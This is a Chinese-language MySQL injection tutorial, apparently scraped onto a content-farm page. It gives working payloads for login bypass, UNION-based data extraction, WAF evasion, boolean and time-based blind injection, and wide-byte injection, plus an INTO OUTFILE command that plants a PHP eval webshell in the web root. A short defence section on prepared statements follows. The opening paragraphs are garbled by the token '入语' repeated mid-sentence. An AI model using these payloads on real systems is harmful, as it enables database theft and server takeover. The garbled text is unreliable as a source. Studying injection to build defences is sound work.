搜索
当前位置:首页 > 综合 > mysql注入语句

mysql注入语句

发表于 2026-10-17 06:03:18 来源:烟消火灭网
```html

很多人第一次接触SQL注入,入语是入语在一个登录框里输入了 ' or 1=1 --,然后发现自己居然进了后台。入语那一瞬间的入语冲击感,比看十篇安全教程都来得直接。入语MySQL注入的入语本质就这么简单:你输入的数据被当成了代码执行。问题出在拼接。入语

比如后端代码写的入语是:

$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";

你输入的用户名是 admin' --,密码随便填。入语拼接之后SQL变成:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx';

-- 在MySQL里是入语注释符,后面的入语密码验证直接被干掉了。这就是入语最经典的万能密码原理,不复杂,入语但每年CTF比赛里都有人栽在这上面。入语

实际渗透中,入语登录框只是入口之一。GET参数、POST body、Cookie、HTTP头里的X-Forwarded-For,甚至User-Agent,只要后端把这些值拼进了SQL语句,就有注入的可能。我见过一个案例,某CMS把访客IP写进访问日志表,结果IP字段没过滤,攻击者伪造 X-Forwarded-For: 1.1.1.1',(select ...))-- 直接实现了堆叠注入。这种偏门位置反而容易被开发者忽略。

判断注入点存在之后,下一步是确定列数。ORDER BY 是最常用的手段:

?id=1 ORDER BY 3 --

页面正常,改成4报错,说明当前查询返回3列。接着用 UNION SELECT 把回显位找出来:

?id=-1 UNION SELECT 1,2,3 --

为什么id要写成-1?因为原查询返回空结果集,UNION的结果才能显示在页面上。这种细节书上不一定讲,踩过坑才知道。

回显位确定后,信息收集就顺理成章了。查当前数据库和用户:

?id=-1 UNION SELECT 1,database(),user() --

查表名走information_schema:

?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --

拿到表名再查列名,拿到列名再查数据。这是一条标准链路,但真实环境里往往没那么顺畅。WAF会拦关键字,比如 union select 被过滤,那就换成 union%0aselect 或者大小写混写 UnIoN SeLeCt。MySQL对关键字大小写不敏感,这个特性在绕过时特别好用。

还有一种情况是页面不回显。这时候需要盲注。布尔盲注靠页面状态的差异来判断真假:

?id=1 AND substring(database(),1,1)='s' --

如果页面正常,说明数据库名第一个字母是s。时间盲注更隐蔽,用 SLEEP() 制造延迟:

?id=1 AND IF(substring(database(),1,1)='s',SLEEP(3),0) --

响应时间超过3秒就说明猜对了。这种方式效率极低,手工跑一个库名可能要几百次请求。所以实际中一般配合sqlmap或者自己写脚本自动化。但手工盲注的过程能帮你真正理解布尔逻辑和MySQL函数的行为,比无脑跑工具收获大得多。

写文件是另一个高频利用点。当 secure_file_priv 为空或者指向可写目录时,可以直接往Web目录写webshell:

?id=-1 UNION SELECT 1,'<?php eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php' --

前提是MySQL进程对目标目录有写权限,而且 FILE 权限没被回收。很多老版本MySQL默认配置下这两个条件都满足,这也是为什么早期SQL注入危害特别大——直接拿服务器。

防御层面,预编译语句是根本解法。PHP的PDO用 prepare 加 bindParam,Java用 PreparedStatement,参数和SQL结构分离,注入就无从谈起。但要注意,预编译只对值有效,表名、列名、ORDER BY后面的字段名这些结构部分没法用占位符,如果这些位置有用户输入,还是得白名单校验。

另一个常见误区是依赖 addslashes() 或 mysql_real_escape_string()。宽字节注入就是专门打这种转义的:当数据库编码是GBK时,输入 %df',转义函数加的反斜杠 \(0x5c)会和 %df 组成一个合法GBK字符,单引号就逃逸出来了。这个漏洞在2010年前后非常普遍,现在虽然少了,但遇到GBK站点还是得留个心眼。

说到底,MySQL注入不是什么高深技术,核心就是“数据被当代码执行”。理解了这个点,剩下的都是围绕过滤规则和回显条件做变通。工具能帮你省时间,但手工注入的过程才是真正长本事的地方。

```
随机为您推荐
友情链接
版权声明:本站资源均来自互联网,如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

Copyright © 2016 Powered by mysql注入语句,烟消火灭网   sitemap

回顶部